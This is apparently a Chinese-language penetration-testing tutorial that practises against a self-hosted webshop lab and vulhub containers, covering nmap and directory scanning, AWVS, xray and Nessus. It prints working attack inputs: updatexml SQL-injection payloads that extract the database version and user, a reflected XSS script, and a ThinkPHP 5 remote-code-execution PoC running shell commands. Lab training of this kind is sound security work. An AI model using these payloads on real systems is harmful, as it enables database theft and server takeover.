Bootstrap

项目实战(webshop)

一、搭建靶场webshop(www.example1.com)

二、信息收集

1、获取IP

win+R→cmd→ping www.example1.com→显示出ip(192.168.51.128)

注:TTL为IP包的生存时间,拿到TTL我们可以大概的判断一下目标机器的操作系统,但不是很准确,因为TTL是可以修改的,TTL=64:Linux  TTL=128:windows

这里获得到的TTL=64,大概可以判断服务器为Linux系统

2、nmap

打开kali→查看nmap版本(nmap -v)确定安装了nmap→执行探测命令:

nmap -o -sv 192.168.51.128

# -o表示要探测目标主机的操作系统

# -sv表示要探测目标主机的版本指纹

nmap -p 192.168.51.128  #探测目标主机的端口

收集到的信息有:Linux操作系统,开放端口:20、21、22、80、443、888

3、敏感目录

在浏览器测试常见的敏感目录(/admin、/web.config、/roobts.txt),如果没有可以尝试使用各种目录扫描工具扫描(如御剑、铸剑、dirsearch、dirmap等)

注:常见的敏感目录这个站点都能访问,这里使用工具来进行扫描

3.1、铸剑(7kbscan)

打开铸剑→扫描目标(www.example1.com)→切换加载dir→选择字典→开始

根据扫描结果可以判定目标站点有admin页面而且编程语言是php,但是访问扫描成功的URL发现都是在主页。经过研判发现这个规则为只要URL中存在后缀名、点或者一些特殊字符则会显示主页,否则显示自定义的错误页面。其实这也是一种防止目录扫描的方式,这种方式与waf拦截不同,waf拦截我们可以尝试修改UA头,挂代理,延迟等方式来绕过,而这种方式无法被绕过。

遇到这种情况我们可以换一种工具来进行目录扫描,如dirmap

3.2、dirmap

打开kali→dirmap需要一个python3的环境才能运行,检查环境(python --version、pip --version)→没安装dirmap的话需要先安装一下→打开dirmap(1、cd  /opt/dirmap   #安装在了opt下   

2、python3  dirmap.py  -h    #可用 -i和 -lcf两个参数)→开始扫描目标站点(python3  dirmap.py  -i  www.example1,com  -lcf)→扫描结果放在了output目录下,打开看看(cd  output      vim  www.example1.com,txt)

收集到的信息有:存在/admin目录且编程语言是php

4、其他信息

通过观察,我们发现站点底部信息,还能得知待测试站点基于iwebshop开发,可以去网上找一下iwebshop已知漏洞

5、信息汇总

目前收集到的信息有:

        域名:www.example1.com              IP:192.168.51.128

        操作系统:Linux                              开放端口:20、21、22、80、443、888

        开发语言:PHP                               cms:iwebshop

        后台登陆地址:http://www.example1.com/admin/

三、web漏洞

1、通用扫描工具AWVS

1.1、安装

1.2、设置中文

1.3、扫描目标

1.4、验证漏洞

可以看到里面包含xss漏洞,可以试着攻击一下

再试试sql注入

爆数据库版本:'and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) and 'VrnL'='VrnL   得到数据库版本为:5.7.43-log

爆数据库用户名:'and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) and 'VrnL'='VrnL       得到数据库名:www_example1_com@localhost

再试试反射型xss

http://www.example1.com/index.php?action=search_list&controller=site&word=1'''><script>alert(xss)</script>

直接弹窗

2、框架漏洞

程序员在编写程序的时候,都会用到一些框架,不同的语言有不同的框架,例如JAVA的spring,python的diango,php的ThinkPHP等。

下面以ThinkPHP为例学习一下框架漏洞

ThinkPHP版本有很多,现在主要是ThinkPHP5和ThinkPHP6,接下来我们看几个漏洞 接下来我们通过vulhub靶场来复现 首先要安装docker、docker-compose,同样是用到了kali虚拟机

安装docker和docker-compose #添加docker的gpg密钥,签名用的                                              curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -      #添加docker的apt源                                                                                                                       echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list                                                                                                         #更新apt缓存                                                                                                                                apt update                                                                                                                                          #安装docker                                                                                                                                sudo apt-get install docker docker-compose -y     或                                                                        sudo apt-get install docker.io -y                                                                                                    sudo apt-get install docker-compose -y                                                                                            #如果docker-compose安装有问题,可以用以下命令安装                                                              sudo curl -L https://github.com/docker/compose/releases/download/1.16.1/docker/compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose                                                                #装完之后执行以下命令,添加权限                                                                                                    sudo chmod +x /usr/local/bin/docker-compose                                                                                   #安装完成之后,docker就自动启动了                                                                                  systemctl status docker                                                                                                                    #查看docker版本                                                                                                                         docker -v

docker安装好之后再来安装vulhub靶场

cd到vulhub目录下(vulhub靶场已安装好),可以看到有很多框架对应的目录,同时也有我们要用到的thinkphp → cd到thinkphp目录下,可以看到有几个漏洞可以复现,其中有5-rce和5.0.23-rce,接下来来学习一下这两个漏洞

首先来删除一下之前执行过的docker容器:docker  rm  -f  ‘容器名’

2.1、ThinkPHP5.0.22/5..1.29远程代码执行漏洞

清空之后我们再将5-rce拉起来

cd  5-rce     docker-compose  up  -d → 出现错误,需要配置docker代理服务器(配置好后直接访问kali的ip地址192.168.51.129端口号8080,就可以进入靶场),进入网页→打开burp抓包→发送到Repeater,关闭拦截→将Poc(http://192.168.79.137:8081/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_e xec&vars[1][]=id)粘贴到请求框中,发送请求→响应包中得到我们请求的id值→将Poc中的id改为ls,就能执行ls命令拿到目录下的所有文件和目录名称

至此就完成了一次远程命令执行

四、系统漏洞探针

扫描器分为两种,web漏洞扫描器和系统漏洞扫描器,前面我们用到的AWVS就是web漏洞扫描器 有些web漏洞扫描器也能扫描一些系统漏洞,但是没有专业的系统漏洞扫描器那么强大,系统漏洞扫描器涵盖了系统中数据库的漏洞、操作系统漏洞、系统软件漏洞(ssh、ftp等)、web服务应用程序漏洞等web漏洞扫描一般是扫描web程序漏洞,系统漏洞扫描器比较出名的有:启明星辰的天镜、绿盟科技的极光漏洞扫描器。

1、Goby

Goby是一款新的网络安全测试工具,它能够针对一个目标企业梳理最全的攻击面信息同时能进行高效、实战化漏洞扫描并快速地从一个验证入口点,切换到横向。

2、Nessus

Nessus 是目前全世界最多人使用的系统漏洞扫描与分析软件,国外开发的总共有超过75,000个机构使用Nessus 作为扫描该机构电脑系统的软件,可以以用户指定的格式(ASCII 文本、html 等)产生详细的输出报告,包括目标的脆弱点、怎样修补漏洞以防止黑客入侵及危险级别。

3、漏洞利用(ms17-010)

我们复现用到的工具是msf,全称是Metasploit Fraemework,是一个非常好用而且简单的工具 其中准备了大量的模块共使用,输入命令就可以直接完成测试 同样,还是用到我们熟悉的kali虚拟机。

过程:永恒之蓝漏洞复现(可查找其他文章,这里不再赘述)

五、Xray

xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:                                                                                                                                                检测速度快:发包速度快; 漏洞检测算法效率高。                                                                              支持范围广:大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。      代码质量高:编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码 可靠性。                                                                                                                                    高级可定制:通过配置文件暴露了引擎的各种参数,通过修改配置文件可以客制化功能。            安全无威胁:xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为 无害化检查。

1、下载和运行

2、扫描单个url

xray有四种模式,单个url扫描,多个url扫描,爬虫模式,代理模式

单个url扫描:

.\xray_windows_amd64.exe webscan --url http://www.example1.com/ --html-output 1.html

只扫描出三个敏感目录

扫描sql注入漏洞,需要给它指定携带参数的url,不然xray也扫描不出来sql注入漏洞。

.\xray_windows_amd64.exe webscan --url http://www.example1.com/index.php? action=search_list'&'controller=site'&'word=1 --html-output 2.html

扫描出的结果就比较多,有xss,有sql

注意:为什么使用 --url 指定目标扫描很快就结束了? 在指定 --url URL 的情况下,xray 只会针对该 URL 本身进行漏洞检测,不会爬取网站内容。 比如,你输入 --url https://baidu.com ,xray 只会检测百度首页的漏洞,这种情况下通常是无法扫描出漏洞的。如果你需要利用爬虫爬取页面后再检测漏洞,可以使用 --basic-crawler 选项。

3、扫描多个url

准备url.txt文件                                                                                                                                           965c9f787c9e4a17a674cddf45aa57ab.png扫描命令:.\xray_windows_amd64.exe webscan --url-file .\url.txt --html-output 3.html                    扫描出来结果是差不多的,只不过是执行了多个单个url扫描而已。

4、爬虫模式

4.1、没有登录扫描

命令:.\xray_windows_amd64.exe webscan --basic-crawler http://www.example1.com/ -- html-output 4.html

没有登陆的扫描,直接执行命令就行了,我们原理和AWVS差不多,都是用爬虫去爬数据,所以耗时会 久一点。

4.2、指定登录扫描

修改配置文件

a0a73031bcbf43f1bb8bf2456291e0aa.png

命令:.\xray_windows_amd64.exe webscan --basic-crawler http://www.example1.com/ -- html-output 5.html

结果中发的数据包都带上了Cookie

5、代理模式

接下来呢,我们来讲讲代理模式,这是和其他扫描工具不同的,也是xray的一个特点 xray的代理模式类似于burp,是被动扫描,但是比burp自动化更高 现在市面上用xray很多,就是因为它的爬虫模式和代理模式结合。

5.1、扫描http

输入命令:.\xray_windows_amd64.exe webscan --listen 0.0.0.0:8080 --html-output 1.html                       # --listen 监听,就是代理模式 这里我们监听的0.0.0.0,意思是所有IP的数据,端口是8080            # --html-output 将结果导出html格式的文件

→这就是开始监听了,然后我们设置一下代理 在任务栏搜索一下“代理”,点击代理服务器设置→打开浏览器,访问靶机的网站→可以看到,我们xray就已经监听到有数据流过来了→输入ctrl+c,中断监听→在xray的文件夹下面就生成了一个1.html

5.2、安装证书、扫描https

我们的靶场是http的网页,如果想要扫https的网页怎么办呢 我们要先安装证书 可以看到我们运行了xray的监听模式之后,文件夹下会生成一个ca.crt文件,这个就是证书。安装好证书之后就可以直接扫https的网站了。

5.3、联动burp

xray还可以和burp联动 有两种模式,一种是xray将数据包转给burp,另一种是burp抓到包之后再转给burp 第一种,这种模式主要是用来研究xray用的,可以用burp看到和学习xray的一些payload。

 

;